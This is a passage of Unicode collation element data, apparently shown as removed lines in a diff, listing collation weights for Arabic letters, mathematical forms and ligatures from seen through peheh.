-FD0E  ; [.22D0.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE SEEN WITH REH ISOLATED FORM
-FCB0  ; [.22D0.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM
-FCE7  ; [.22D0.0020.0018][.2318.0020.0018] # ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM
-FC1F  ; [.22D0.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM
-FD61  ; [.22D0.0020.0017][.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM
-FD60  ; [.22D0.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM
-FD5F  ; [.22D0.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM
-FD63  ; [.22D0.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM
-FD62  ; [.22D0.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM
-FD31  ; [.22D0.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH HEH INITIAL FORM
-FCE8  ; [.22D0.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM
-FD17  ; [.22D0.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM
-FCFB  ; [.22D0.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM
-FD18  ; [.22D0.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SEEN WITH YEH FINAL FORM
-FCFC  ; [.22D0.0020.001A][.233A.0020.001A] # ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM
-0634  ; [.22D1.0020.0002] # ARABIC LETTER SHEEN
-1EE14 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL SHEEN
-1EE34 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL INITIAL SHEEN
-1EE54 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL TAILED SHEEN
-1EE74 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL STRETCHED SHEEN
-1EE94 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL LOOPED SHEEN
-1EEB4 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SHEEN
-FEB7  ; [.22D1.0020.0017] # ARABIC LETTER SHEEN INITIAL FORM
-FEB8  ; [.22D1.0020.0018] # ARABIC LETTER SHEEN MEDIAL FORM
-FEB6  ; [.22D1.0020.0019] # ARABIC LETTER SHEEN FINAL FORM
-FEB5  ; [.22D1.0020.001A] # ARABIC LETTER SHEEN ISOLATED FORM
-FD2D  ; [.22D1.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM
-FD37  ; [.22D1.0020.0018][.229D.0020.0018] # ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM
-FD25  ; [.22D1.0020.0019][.229D.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM
-FD09  ; [.22D1.0020.001A][.229D.0020.001A] # ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM
-FD69  ; [.22D1.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM
-FD2E  ; [.22D1.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM
-FD38  ; [.22D1.0020.0018][.22A4.0020.0018] # ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM
-FD26  ; [.22D1.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH FINAL FORM
-FD0A  ; [.22D1.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM
-FD68  ; [.22D1.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM
-FD67  ; [.22D1.0020.0019][.22A4.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM
-FDAA  ; [.22D1.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM
-FD2F  ; [.22D1.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM
-FD39  ; [.22D1.0020.0018][.22A5.0020.0018] # ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM
-FD27  ; [.22D1.0020.0019][.22A5.0020.0019] # ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM
-FD0B  ; [.22D1.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM
-FD29  ; [.22D1.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE SHEEN WITH REH FINAL FORM
-FD0D  ; [.22D1.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM
-FD30  ; [.22D1.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM
-FCE9  ; [.22D1.0020.0018][.2318.0020.0018] # ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM
-FD28  ; [.22D1.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM
-FD0C  ; [.22D1.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM
-FD6B  ; [.22D1.0020.0017][.2318.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM
-FD6A  ; [.22D1.0020.0019][.2318.0020.0019][.22A5.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM
-FD6D  ; [.22D1.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM
-FD6C  ; [.22D1.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM
-FD32  ; [.22D1.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM
-FCEA  ; [.22D1.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM
-FD19  ; [.22D1.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM
-FCFD  ; [.22D1.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM
-FD1A  ; [.22D1.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SHEEN WITH YEH FINAL FORM
-FCFE  ; [.22D1.0020.001A][.233A.0020.001A] # ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM
-069A  ; [.22D2.0020.0002] # ARABIC LETTER SEEN WITH DOT BELOW AND DOT ABOVE
-069B  ; [.22D3.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW
-069C  ; [.22D4.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW AND THREE DOTS ABOVE
-06FA  ; [.22D5.0020.0002] # ARABIC LETTER SHEEN WITH DOT BELOW
-075C  ; [.22D6.0020.0002] # ARABIC LETTER SEEN WITH FOUR DOTS ABOVE
-076D  ; [.22D7.0020.0002] # ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE
-0770  ; [.22D8.0020.0002] # ARABIC LETTER SEEN WITH SMALL ARABIC LETTER TAH AND TWO DOTS
-077D  ; [.22D9.0020.0002] # ARABIC LETTER SEEN WITH EXTENDED ARABIC-INDIC DIGIT FOUR ABOVE
-077E  ; [.22DA.0020.0002] # ARABIC LETTER SEEN WITH INVERTED V
-0635  ; [.22DB.0020.0002] # ARABIC LETTER SAD
-1EE11 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL SAD
-1EE31 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL INITIAL SAD
-1EE51 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL TAILED SAD
-1EE71 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL STRETCHED SAD
-1EE91 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL LOOPED SAD
-1EEB1 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SAD
-FEBB  ; [.22DB.0020.0017] # ARABIC LETTER SAD INITIAL FORM
-FEBC  ; [.22DB.0020.0018] # ARABIC LETTER SAD MEDIAL FORM
-FEBA  ; [.22DB.0020.0019] # ARABIC LETTER SAD FINAL FORM
-FEB9  ; [.22DB.0020.001A] # ARABIC LETTER SAD ISOLATED FORM
-FCB1  ; [.22DB.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SAD WITH HAH INITIAL FORM
-FC20  ; [.22DB.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE SAD WITH HAH ISOLATED FORM
-FD65  ; [.22DB.0020.0017][.22A4.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM
-FD64  ; [.22DB.0020.0019][.22A4.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM
-FDA9  ; [.22DB.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM
-FCB2  ; [.22DB.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SAD WITH KHAH INITIAL FORM
-FD2B  ; [.22DB.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE SAD WITH REH FINAL FORM
-FD0F  ; [.22DB.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE SAD WITH REH ISOLATED FORM
-FDF5  ; [.22DB.0020.001A][.2311.0020.001A][.22E5.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SALAM ISOLATED FORM
-FDF9  ; [.22DB.0020.001A][.2311.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SALLA ISOLATED FORM
-FDFA  ; [.22DB.0020.001A][.2311.0020.001A][.2339.0020.001A][*0209.0020.001A][.2286.0020.001A][.2311.0020.001A][.2311.0020.001A][.2325.0020.001A][*0209.0020.001A][.22E5.0020.001A][.2311.0020.001A][.233A.0020.001A][.2325.0020.001A][*0209.0020.001A][.232B.0020.001A][.22D0.0020.001A][.2311.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM
-FDF0  ; [.22DB.0020.001A][.2311.0020.001A][.2347.0020.001A] # ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
-FCB3  ; [.22DB.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SAD WITH MEEM INITIAL FORM
-FC21  ; [.22DB.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM
-FDC5  ; [.22DB.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM
-FD66  ; [.22DB.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM
-FD21  ; [.22DB.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM
-FD05  ; [.22DB.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM
-FD22  ; [.22DB.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SAD WITH YEH FINAL FORM
-FD06  ; [.22DB.0020.001A][.233A.0020.001A] # ARABIC LIGATURE SAD WITH YEH ISOLATED FORM
-0636  ; [.22DC.0020.0002] # ARABIC LETTER DAD
-1EE19 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL DAD
-1EE39 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL INITIAL DAD
-1EE59 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL TAILED DAD
-1EE79 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL STRETCHED DAD
-1EE99 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL LOOPED DAD
-1EEB9 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAD
-FEBF  ; [.22DC.0020.0017] # ARABIC LETTER DAD INITIAL FORM
-FEC0  ; [.22DC.0020.0018] # ARABIC LETTER DAD MEDIAL FORM
-FEBE  ; [.22DC.0020.0019] # ARABIC LETTER DAD FINAL FORM
-FEBD  ; [.22DC.0020.001A] # ARABIC LETTER DAD ISOLATED FORM
-FCB4  ; [.22DC.0020.0017][.229D.0020.0017] # ARABIC LIGATURE DAD WITH JEEM INITIAL FORM
-FC22  ; [.22DC.0020.001A][.229D.0020.001A] # ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM
-FCB5  ; [.22DC.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE DAD WITH HAH INITIAL FORM
-FC23  ; [.22DC.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE DAD WITH HAH ISOLATED FORM
-FD6E  ; [.22DC.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM
-FDAB  ; [.22DC.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM
-FCB6  ; [.22DC.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE DAD WITH KHAH INITIAL FORM
-FC24  ; [.22DC.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM
-FD70  ; [.22DC.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM
-FD6F  ; [.22DC.0020.0019][.22A5.0020.0019][.2318.0020.0019] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM
-FD2C  ; [.22DC.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE DAD WITH REH FINAL FORM
-FD10  ; [.22DC.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE DAD WITH REH ISOLATED FORM
-FCB7  ; [.22DC.0020.0017][.2318.0020.0017] # ARABIC LIGATURE DAD WITH MEEM INITIAL FORM
-FC25  ; [.22DC.0020.001A][.2318.0020.001A] # ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM
-FD23  ; [.22DC.0020.0019][.2339.0020.0019] # ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM
-FD07  ; [.22DC.0020.001A][.2339.0020.001A] # ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM
-FD24  ; [.22DC.0020.0019][.233A.0020.0019] # ARABIC LIGATURE DAD WITH YEH FINAL FORM
-FD08  ; [.22DC.0020.001A][.233A.0020.001A] # ARABIC LIGATURE DAD WITH YEH ISOLATED FORM
-069D  ; [.22DD.0020.0002] # ARABIC LETTER SAD WITH TWO DOTS BELOW
-08AF  ; [.22DE.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS BELOW
-069E  ; [.22DF.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS ABOVE
-06FB  ; [.22E0.0020.0002] # ARABIC LETTER DAD WITH DOT BELOW
-0637  ; [.22E1.0020.0002] # ARABIC LETTER TAH
-1EE08 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL TAH
-1EE68 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL STRETCHED TAH
-1EE88 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL LOOPED TAH
-1EEA8 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TAH
-FEC3  ; [.22E1.0020.0017] # ARABIC LETTER TAH INITIAL FORM
-FEC4  ; [.22E1.0020.0018] # ARABIC LETTER TAH MEDIAL FORM
-FEC2  ; [.22E1.0020.0019] # ARABIC LETTER TAH FINAL FORM
-FEC1  ; [.22E1.0020.001A] # ARABIC LETTER TAH ISOLATED FORM
-FCB8  ; [.22E1.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TAH WITH HAH INITIAL FORM
-FC26  ; [.22E1.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE TAH WITH HAH ISOLATED FORM
-FD33  ; [.22E1.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TAH WITH MEEM INITIAL FORM
-FD3A  ; [.22E1.0020.0018][.2318.0020.0018] # ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM
-FC27  ; [.22E1.0020.001A][.2318.0020.001A] # ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM
-FD72  ; [.22E1.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM
-FD71  ; [.22E1.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM
-FD73  ; [.22E1.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM
-FD74  ; [.22E1.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM
-FD11  ; [.22E1.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM
-FCF5  ; [.22E1.0020.001A][.2339.0020.001A] # ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM
-FD12  ; [.22E1.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TAH WITH YEH FINAL FORM
-FCF6  ; [.22E1.0020.001A][.233A.0020.001A] # ARABIC LIGATURE TAH WITH YEH ISOLATED FORM
-0638  ; [.22E2.0020.0002] # ARABIC LETTER ZAH
-1EE1A ; [.22E2.0020.0005] # ARABIC MATHEMATICAL ZAH
-1EE7A ; [.22E2.0020.0005] # ARABIC MATHEMATICAL STRETCHED ZAH
-1EE9A ; [.22E2.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAH
-1EEBA ; [.22E2.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAH
-FEC7  ; [.22E2.0020.0017] # ARABIC LETTER ZAH INITIAL FORM
-FEC8  ; [.22E2.0020.0018] # ARABIC LETTER ZAH MEDIAL FORM
-FEC6  ; [.22E2.0020.0019] # ARABIC LETTER ZAH FINAL FORM
-FEC5  ; [.22E2.0020.001A] # ARABIC LETTER ZAH ISOLATED FORM
-FCB9  ; [.22E2.0020.0017][.2318.0020.0017] # ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM
-FD3B  ; [.22E2.0020.0018][.2318.0020.0018] # ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM
-FC28  ; [.22E2.0020.001A][.2318.0020.001A] # ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM
-069F  ; [.22E3.0020.0002] # ARABIC LETTER TAH WITH THREE DOTS ABOVE
-08A3  ; [.22E4.0020.0002] # ARABIC LETTER TAH WITH TWO DOTS ABOVE
-0639  ; [.22E5.0020.0002] # ARABIC LETTER AIN
-1EE0F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL AIN
-1EE2F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL INITIAL AIN
-1EE4F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL TAILED AIN
-1EE6F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL STRETCHED AIN
-1EE8F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL LOOPED AIN
-1EEAF ; [.22E5.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK AIN
-FECB  ; [.22E5.0020.0017] # ARABIC LETTER AIN INITIAL FORM
-FECC  ; [.22E5.0020.0018] # ARABIC LETTER AIN MEDIAL FORM
-FECA  ; [.22E5.0020.0019] # ARABIC LETTER AIN FINAL FORM
-FEC9  ; [.22E5.0020.001A] # ARABIC LETTER AIN ISOLATED FORM
-FCBA  ; [.22E5.0020.0017][.229D.0020.0017] # ARABIC LIGATURE AIN WITH JEEM INITIAL FORM
-FC29  ; [.22E5.0020.001A][.229D.0020.001A] # ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM
-FDC4  ; [.22E5.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM
-FD75  ; [.22E5.0020.0019][.229D.0020.0019][.2318.0020.0019] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM
-FDF7  ; [.22E5.0020.001A][.2311.0020.001A][.233A.0020.001A][.2325.0020.001A] # ARABIC LIGATURE ALAYHE ISOLATED FORM
-FCBB  ; [.22E5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE AIN WITH MEEM INITIAL FORM
-FC2A  ; [.22E5.0020.001A][.2318.0020.001A] # ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM
-FD77  ; [.22E5.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM
-FD76  ; [.22E5.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM
-FD78  ; [.22E5.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM
-FDB6  ; [.22E5.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM
-FD13  ; [.22E5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE AIN WITH ALEF MAKSURA FINAL FORM
-FCF7  ; [.22E5.0020.001A][.2339.0020.001A] # ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM
-FD14  ; [.22E5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE AIN WITH YEH FINAL FORM
-FCF8  ; [.22E5.0020.001A][.233A.0020.001A] # ARABIC LIGATURE AIN WITH YEH ISOLATED FORM
-063A  ; [.22E6.0020.0002] # ARABIC LETTER GHAIN
-1EE1B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL GHAIN
-1EE3B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL INITIAL GHAIN
-1EE5B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL TAILED GHAIN
-1EE7B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL STRETCHED GHAIN
-1EE9B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL LOOPED GHAIN
-1EEBB ; [.22E6.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN
-FECF  ; [.22E6.0020.0017] # ARABIC LETTER GHAIN INITIAL FORM
-FED0  ; [.22E6.0020.0018] # ARABIC LETTER GHAIN MEDIAL FORM
-FECE  ; [.22E6.0020.0019] # ARABIC LETTER GHAIN FINAL FORM
-FECD  ; [.22E6.0020.001A] # ARABIC LETTER GHAIN ISOLATED FORM
-FCBC  ; [.22E6.0020.0017][.229D.0020.0017] # ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM
-FC2B  ; [.22E6.0020.001A][.229D.0020.001A] # ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM
-FCBD  ; [.22E6.0020.0017][.2318.0020.0017] # ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM
-FC2C  ; [.22E6.0020.001A][.2318.0020.001A] # ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM
-FD79  ; [.22E6.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM
-FD7B  ; [.22E6.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM
-FD7A  ; [.22E6.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM
-FD15  ; [.22E6.0020.0019][.2339.0020.0019] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM
-FCF9  ; [.22E6.0020.001A][.2339.0020.001A] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM
-FD16  ; [.22E6.0020.0019][.233A.0020.0019] # ARABIC LIGATURE GHAIN WITH YEH FINAL FORM
-FCFA  ; [.22E6.0020.001A][.233A.0020.001A] # ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM
-06A0  ; [.22E7.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS ABOVE
-06FC  ; [.22E8.0020.0002] # ARABIC LETTER GHAIN WITH DOT BELOW
-075D  ; [.22E9.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS ABOVE
-075E  ; [.22EA.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS POINTING DOWNWARDS ABOVE
-075F  ; [.22EB.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS VERTICALLY ABOVE
-08B3  ; [.22EC.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS BELOW
-0641  ; [.22ED.0020.0002] # ARABIC LETTER FEH
-1EE10 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL FEH
-1EE30 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL INITIAL FEH
-1EE70 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL STRETCHED FEH
-1EE90 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL LOOPED FEH
-1EEB0 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK FEH
-FED3  ; [.22ED.0020.0017] # ARABIC LETTER FEH INITIAL FORM
-FED4  ; [.22ED.0020.0018] # ARABIC LETTER FEH MEDIAL FORM
-FED2  ; [.22ED.0020.0019] # ARABIC LETTER FEH FINAL FORM
-FED1  ; [.22ED.0020.001A] # ARABIC LETTER FEH ISOLATED FORM
-FCBE  ; [.22ED.0020.0017][.229D.0020.0017] # ARABIC LIGATURE FEH WITH JEEM INITIAL FORM
-FC2D  ; [.22ED.0020.001A][.229D.0020.001A] # ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM
-FCBF  ; [.22ED.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE FEH WITH HAH INITIAL FORM
-FC2E  ; [.22ED.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE FEH WITH HAH ISOLATED FORM
-FCC0  ; [.22ED.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE FEH WITH KHAH INITIAL FORM
-FC2F  ; [.22ED.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM
-FD7D  ; [.22ED.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM
-FD7C  ; [.22ED.0020.0019][.22A5.0020.0019][.2318.0020.0019] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM
-FCC1  ; [.22ED.0020.0017][.2318.0020.0017] # ARABIC LIGATURE FEH WITH MEEM INITIAL FORM
-FC30  ; [.22ED.0020.001A][.2318.0020.001A] # ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM
-FDC1  ; [.22ED.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM
-FC7C  ; [.22ED.0020.0019][.2339.0020.0019] # ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM
-FC31  ; [.22ED.0020.001A][.2339.0020.001A] # ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM
-FC7D  ; [.22ED.0020.0019][.233A.0020.0019] # ARABIC LIGATURE FEH WITH YEH FINAL FORM
-FC32  ; [.22ED.0020.001A][.233A.0020.001A] # ARABIC LIGATURE FEH WITH YEH ISOLATED FORM
-06A1  ; [.22EE.0020.0002] # ARABIC LETTER DOTLESS FEH
-1EE1E ; [.22EE.0020.0005] # ARABIC MATHEMATICAL DOTLESS FEH
-1EE7E ; [.22EE.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS FEH
-06A2  ; [.22EF.0020.0002] # ARABIC LETTER FEH WITH DOT MOVED BELOW
-06A3  ; [.22F0.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW
-06A4  ; [.22F1.0020.0002] # ARABIC LETTER VEH
-FB6C  ; [.22F1.0020.0017] # ARABIC LETTER VEH INITIAL FORM
-FB6D  ; [.22F1.0020.0018] # ARABIC LETTER VEH MEDIAL FORM
-FB6B  ; [.22F1.0020.0019] # ARABIC LETTER VEH FINAL FORM
-FB6A  ; [.22F1.0020.001A] # ARABIC LETTER VEH ISOLATED FORM
-08A4  ; [.22F2.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW AND THREE DOTS ABOVE
-06A5  ; [.22F3.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS BELOW
-06A6  ; [.22F4.0020.0002] # ARABIC LETTER PEHEH
-FB70  ; [.22F4.0020.0017] # ARABIC LETTER PEHEH INITIAL FORM
-FB71  ; [.22F4.0020.0018] # ARABIC LETTER PEHEH MEDIAL FORM
-FB6F  ; [.22F4.0020.0019] # ARABIC LETTER PEHEH FINAL FORM
